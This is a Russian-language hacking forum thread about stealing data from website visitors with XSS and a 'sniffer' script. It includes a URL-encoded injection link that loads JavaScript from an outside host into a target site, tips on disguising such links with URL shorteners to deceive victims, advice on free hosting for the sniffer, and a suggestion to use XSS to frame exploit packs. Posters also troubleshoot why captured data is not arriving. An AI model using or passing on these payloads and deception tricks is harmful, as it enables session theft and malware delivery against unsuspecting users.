Цитата:

Сообщение от lagranj

а бесплатный хостинг для снифера посоветуете актуальный?

holm.ru

Добавлено через 1 минуту

Цитата:

Сообщение от M@ZAX@KEP

Так я ничего не скажу. Это надо видеть твою формочку поиска и её исходный код. И потыкать разными способами, поэкспериментировать. Например, каким образом фильтрует двойную кавычку? Отбрасывает или заменяет другим символом?

HTML highlight

Добавлено через 17 минут

Цитата:


Способ 3: кодируем в url ядовитую часть ссылки. Кодировать можно тут. Получим ссылку такого вида:

Цитата:


httр://site.com/index.php?page=%3CSCRIPT%20type%3Dtext%2Fjavascrip t%20src%3Dhttp% 3A%2F%2Fhttpz.ru%2Fg4cuwl48edgo.js%3E%3C%2FSCRIPT% 3E%22



Кодировать лучше тут
Было :

PHP highlight


Стало:

code:

Цитата:

Сообщение от M@ZAX@KEP

Способ 1: топаем на tinyurl.com и вбиваем туда нашу ссылку. Получаем в результате другую... короткую и загадочную :wink: А результат её работы - тот же :banana:

xD лучше уже вместо tinyurl.com, сокращать ссылки на лохе

Больше ведь народу поверят, и ссылка начинается с loh.ru и будет интересно вообще, кто там, что про тя написал =)

Цитата:

Сообщение от narviss

xD лучше уже вместо tinyurl.com, сокращать ссылки на лохе

Больше ведь народу поверят, и ссылка начинается с loh.ru и будет интересно вообще, кто там, что про тя написал =)

ну это на реальных лохов.
Но если человек смотрит на ссылку то все же мой вариант лучше.

Наверное, облом. Из двойных кавычек ты тут не вылезешь, если они фильтруются.

Что-то на сниффер вообще никакие записи не приходят.
Редирект выполняется.
При cмене хоста на "holm", на секунду при обновлении лога вылазит: STAT.SU
Кто что может посоветовать?

спасибо, информация будет полезна в будущем, автору респект

Genua, читайте про связки сплойтов \ сплойт-паки.
XSS можно использовать чтобы вставить фрейм на связку сплойтов.

Всем привет) в статье говорилось, что с помощью XSS можно залить эксплойт, это можно с активной сделать?? Где я могу про это почитать(статья)?

M@ZAX@KEP, спс за инфу))